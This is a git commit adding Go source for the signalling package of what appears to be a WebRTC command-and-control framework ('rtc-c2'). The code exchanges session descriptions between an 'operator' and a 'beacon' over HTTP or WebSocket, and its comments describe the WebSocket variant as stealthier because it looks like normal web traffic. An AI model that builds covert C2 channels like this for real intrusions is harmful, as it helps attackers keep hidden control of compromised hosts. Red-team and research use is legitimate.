Upload files to "rtc-c2/pkg/signaller"

2026-06-10 17:19:38 +00:00
parent 069f9c1b15
commit fff1d686c1
2 changed files with 401 additions and 0 deletions
@@ -0,0 +1,307 @@
+// Package signaller handles SDP exchange between the operator and beacon.
+// During development, this uses a simple HTTP rendezvous server.
+// In Ghost Calls mode, this would be replaced with meeting-channel signalling.
+package signaller
+
+import (
+	"bytes"
+	"encoding/json"
+	"fmt"
+	"io"
+	"log"
+	"net/http"
+	"sync"
+	"time"
+
+	"github.com/gorilla/websocket"
+	"github.com/pion/webrtc/v4"
+)
+
+// Signaller is the interface for exchanging SDP descriptions.
+type Signaller interface {
+	// SendLocalDescription transmits this peer's SDP to the remote.
+	SendLocalDescription(sdp webrtc.SessionDescription) error
+
+	// ReceiveRemoteDescription blocks until a remote SDP is received.
+	ReceiveRemoteDescription() (*webrtc.SessionDescription, error)
+}
+
+// HTTPSignaller exchanges SDP through a rendezvous HTTP server.
+// Simple, works for LAN and same-network development.
+type HTTPSignaller struct {
+	client     *http.Client
+	baseURL    string
+	sessionKey string
+	role       string
+}
+
+// NewHTTPSignaller creates a new HTTP signaller.
+func NewHTTPSignaller(baseURL, sessionKey, role string) *HTTPSignaller {
+	return &HTTPSignaller{
+		client: &http.Client{
+			Timeout: 30 * time.Second,
+		},
+		baseURL:    baseURL,
+		sessionKey: sessionKey,
+		role:       role,
+	}
+}
+
+func (h *HTTPSignaller) SendLocalDescription(sdp webrtc.SessionDescription) error {
+	data, err := json.Marshal(sdp)
+	if err != nil {
+		return fmt.Errorf("signaller: marshal sdp: %w", err)
+	}
+
+	url := fmt.Sprintf("%s/sdp/%s/%s", h.baseURL, h.sessionKey, h.role)
+	resp, err := h.client.Post(url, "application/json", bytes.NewReader(data))
+	if err != nil {
+		return fmt.Errorf("signaller: post: %w", err)
+	}
+	defer resp.Body.Close()
+
+	if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusCreated {
+		body, _ := io.ReadAll(resp.Body)
+		return fmt.Errorf("signaller: post %d: %s", resp.StatusCode, string(body))
+	}
+
+	return nil
+}
+
+func (h *HTTPSignaller) ReceiveRemoteDescription() (*webrtc.SessionDescription, error) {
+	// Determine which role to poll for
+	remoteRole := "beacon"
+	if h.role == "beacon" {
+		remoteRole = "operator"
+	}
+
+	url := fmt.Sprintf("%s/sdp/%s/%s", h.baseURL, h.sessionKey, remoteRole)
+
+	for i := 0; i < 60; i++ {
+		resp, err := h.client.Get(url)
+		if err != nil {
+			return nil, fmt.Errorf("signaller: get: %w", err)
+		}
+
+		if resp.StatusCode == http.StatusOK {
+			var sdp webrtc.SessionDescription
+			if err := json.NewDecoder(resp.Body).Decode(&sdp); err != nil {
+				resp.Body.Close()
+				return nil, fmt.Errorf("signaller: decode: %w", err)
+			}
+			resp.Body.Close()
+			return &sdp, nil
+		}
+		resp.Body.Close()
+
+		time.Sleep(500 * time.Millisecond)
+	}
+
+	return nil, fmt.Errorf("signaller: timeout waiting for remote description")
+}
+
+// SignallerServer is the HTTP/WS rendezvous server for SDP exchange.
+type SignallerServer struct {
+	mu       sync.RWMutex
+	sdpMap   map[string]map[string]webrtc.SessionDescription
+	server   *http.Server
+	upgrader websocket.Upgrader
+}
+
+// NewSignallerServer creates a new signaller rendezvous server.
+func NewSignallerServer(addr string) *SignallerServer {
+	s := &SignallerServer{
+		sdpMap: make(map[string]map[string]webrtc.SessionDescription),
+	}
+
+	s.upgrader = websocket.Upgrader{
+		CheckOrigin: func(r *http.Request) bool { return true },
+	}
+
+	mux := http.NewServeMux()
+	mux.HandleFunc("/sdp/", s.handleSDP)
+	mux.HandleFunc("/ws", s.handleWebSocket)
+	mux.HandleFunc("/health", func(w http.ResponseWriter, r *http.Request) {
+		w.WriteHeader(http.StatusOK)
+		w.Write([]byte("ok"))
+	})
+
+	s.server = &http.Server{
+		Addr:    addr,
+		Handler: mux,
+	}
+	return s
+}
+
+// Start begins listening for SDP exchanges.
+func (s *SignallerServer) Start() error {
+	addr := s.server.Addr
+	if addr == "" {
+		addr = ":9090"
+		s.server.Addr = addr
+	}
+	fmt.Printf("[signaller] listening on %s\n", addr)
+	return s.server.ListenAndServe()
+}
+
+// Stop gracefully shuts down the signaller server.
+func (s *SignallerServer) Stop() error {
+	return s.server.Close()
+}
+
+// Addr returns the listening address.
+func (s *SignallerServer) Addr() string {
+	return s.server.Addr
+}
+
+// StoreSDP stores an SDP description for a session/role.
+func (s *SignallerServer) StoreSDP(sessionKey, role string, sdp webrtc.SessionDescription) {
+	s.mu.Lock()
+	defer s.mu.Unlock()
+	if s.sdpMap[sessionKey] == nil {
+		s.sdpMap[sessionKey] = make(map[string]webrtc.SessionDescription)
+	}
+	s.sdpMap[sessionKey][role] = sdp
+}
+
+// GetSDP retrieves an SDP description for a session/role.
+func (s *SignallerServer) GetSDP(sessionKey, role string) (*webrtc.SessionDescription, error) {
+	s.mu.RLock()
+	defer s.mu.RUnlock()
+	entry, ok := s.sdpMap[sessionKey]
+	if !ok {
+		return nil, fmt.Errorf("not found")
+	}
+	sdp, ok := entry[role]
+	if !ok {
+		return nil, fmt.Errorf("not found")
+	}
+	return &sdp, nil
+}
+
+// handleWebSocket upgrades connections for WebSocket SDP exchange.
+func (s *SignallerServer) handleWebSocket(rw http.ResponseWriter, r *http.Request) {
+	sessionKey := r.URL.Query().Get("sess")
+	role := r.URL.Query().Get("role")
+	action := r.URL.Query().Get("action")
+
+	if sessionKey == "" || role == "" {
+		http.Error(rw, "missing sess or role", http.StatusBadRequest)
+		return
+	}
+
+	if action == "" {
+		http.Error(rw, "missing action (sdp|wait)", http.StatusBadRequest)
+		return
+	}
+
+	conn, err := s.upgrader.Upgrade(rw, r, nil)
+	if err != nil {
+		log.Printf("[ws-signaller] upgrade error: %v", err)
+		return
+	}
+	defer conn.Close()
+
+	log.Printf("[ws-signaller] %s joined session %s (action=%s)", role, sessionKey, action)
+
+	switch action {
+	case "sdp":
+		// Read SDP from WebSocket and store it
+		_, msg, err := conn.ReadMessage()
+		if err != nil {
+			log.Printf("[ws-signaller] read sdp: %v", err)
+			return
+		}
+		var sdp webrtc.SessionDescription
+		if err := json.Unmarshal(msg, &sdp); err != nil {
+			log.Printf("[ws-signaller] bad sdp: %v", err)
+			return
+		}
+		s.StoreSDP(sessionKey, role, sdp)
+
+	case "wait":
+		// Wait for the remote's SDP
+		remoteRole := "beacon"
+		if role == "beacon" {
+			remoteRole = "operator"
+		}
+
+		for i := 0; i < 120; i++ {
+			sdp, err := s.GetSDP(sessionKey, remoteRole)
+			if err == nil && sdp != nil {
+				data, _ := json.Marshal(sdp)
+				conn.WriteMessage(websocket.TextMessage, data)
+				return
+			}
+			time.Sleep(500 * time.Millisecond)
+		}
+		conn.WriteMessage(websocket.TextMessage, []byte(`{"error":"timeout"}`))
+	}
+}
+
+func (s *SignallerServer) handleSDP(w http.ResponseWriter, r *http.Request) {
+	// Path: /sdp/{sessionKey}/{role}
+	parts := r.URL.Path[len("/sdp/"):]
+	if parts == "" {
+		http.Error(w, "missing session key", http.StatusBadRequest)
+		return
+	}
+
+	// Split into session key and role
+	var sessionKey, role string
+	n := 0
+	for i, c := range parts {
+		if c == '/' {
+			sessionKey = parts[:i]
+			role = parts[i+1:]
+			n = i
+			break
+		}
+	}
+	if sessionKey == "" || role == "" {
+		http.Error(w, "expected /sdp/{sessionKey}/{role}", http.StatusBadRequest)
+		return
+	}
+	_ = n
+
+	switch r.Method {
+	case http.MethodPost, http.MethodPut:
+		var sdp webrtc.SessionDescription
+		if err := json.NewDecoder(r.Body).Decode(&sdp); err != nil {
+			http.Error(w, "bad json: "+err.Error(), http.StatusBadRequest)
+			return
+		}
+
+		s.mu.Lock()
+		if s.sdpMap[sessionKey] == nil {
+			s.sdpMap[sessionKey] = make(map[string]webrtc.SessionDescription)
+		}
+		s.sdpMap[sessionKey][role] = sdp
+		s.mu.Unlock()
+
+		w.WriteHeader(http.StatusCreated)
+		fmt.Fprintf(w, "stored sdp for %s/%s", sessionKey, role)
+
+	case http.MethodGet:
+		s.mu.RLock()
+		entry, ok := s.sdpMap[sessionKey]
+		if !ok {
+			s.mu.RUnlock()
+			http.Error(w, "not found", http.StatusNotFound)
+			return
+		}
+		sdp, ok := entry[role]
+		s.mu.RUnlock()
+
+		if !ok {
+			http.Error(w, "not found", http.StatusNotFound)
+			return
+		}
+
+		w.Header().Set("Content-Type", "application/json")
+		json.NewEncoder(w).Encode(sdp)
+
+	default:
+		http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
+	}
+}
@@ -0,0 +1,94 @@
+package signaller
+
+import (
+	"encoding/json"
+	"fmt"
+	"log"
+	"net/http"
+	"time"
+
+	"github.com/gorilla/websocket"
+	"github.com/pion/webrtc/v4"
+)
+
+// WebSocketSignaller exchanges SDP through WebSocket connections.
+// Stealthier than HTTP polling — single persistent connection,
+// looks like a normal web app or live data feed (Technique 3).
+type WebSocketSignaller struct {
+	baseURL    string
+	sessionKey string
+	role       string
+}
+
+// NewWebSocketSignaller creates a WebSocket-based signaller client.
+func NewWebSocketSignaller(baseURL, sessionKey, role string) *WebSocketSignaller {
+	return &WebSocketSignaller{
+		baseURL:    baseURL,
+		sessionKey: sessionKey,
+		role:       role,
+	}
+}
+
+// SendLocalDescription sends this peer's SDP via WebSocket.
+func (w *WebSocketSignaller) SendLocalDescription(sdp webrtc.SessionDescription) error {
+	url := fmt.Sprintf("%s?sess=%s&role=%s&action=sdp", w.baseURL, w.sessionKey, w.role)
+
+	dialer := websocket.Dialer{
+		HandshakeTimeout: 10 * time.Second,
+	}
+
+	conn, _, err := dialer.Dial(url, http.Header{})
+	if err != nil {
+		return fmt.Errorf("ws-signaller: dial: %w", err)
+	}
+	defer conn.Close()
+
+	data, err := json.Marshal(sdp)
+	if err != nil {
+		return fmt.Errorf("ws-signaller: marshal: %w", err)
+	}
+
+	if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
+		return fmt.Errorf("ws-signaller: write: %w", err)
+	}
+
+	return nil
+}
+
+// ReceiveRemoteDescription waits for and returns the remote peer's SDP.
+func (w *WebSocketSignaller) ReceiveRemoteDescription() (*webrtc.SessionDescription, error) {
+	url := fmt.Sprintf("%s?sess=%s&role=%s&action=wait", w.baseURL, w.sessionKey, w.role)
+
+	dialer := websocket.Dialer{
+		HandshakeTimeout: 10 * time.Second,
+	}
+
+	conn, _, err := dialer.Dial(url, http.Header{})
+	if err != nil {
+		return nil, fmt.Errorf("ws-signaller: dial: %w", err)
+	}
+	defer conn.Close()
+
+	for {
+		_, msg, err := conn.ReadMessage()
+		if err != nil {
+			return nil, fmt.Errorf("ws-signaller: read: %w", err)
+		}
+
+		// Check for error response
+		var errResp struct {
+			Error string `json:"error"`
+		}
+		if json.Unmarshal(msg, &errResp) == nil && errResp.Error != "" {
+			return nil, fmt.Errorf("ws-signaller: %s", errResp.Error)
+		}
+
+		var sdp webrtc.SessionDescription
+		if err := json.Unmarshal(msg, &sdp); err != nil {
+			log.Printf("[ws-signaller] bad sdp: %v", err)
+			continue
+		}
+
+		return &sdp, nil
+	}
+}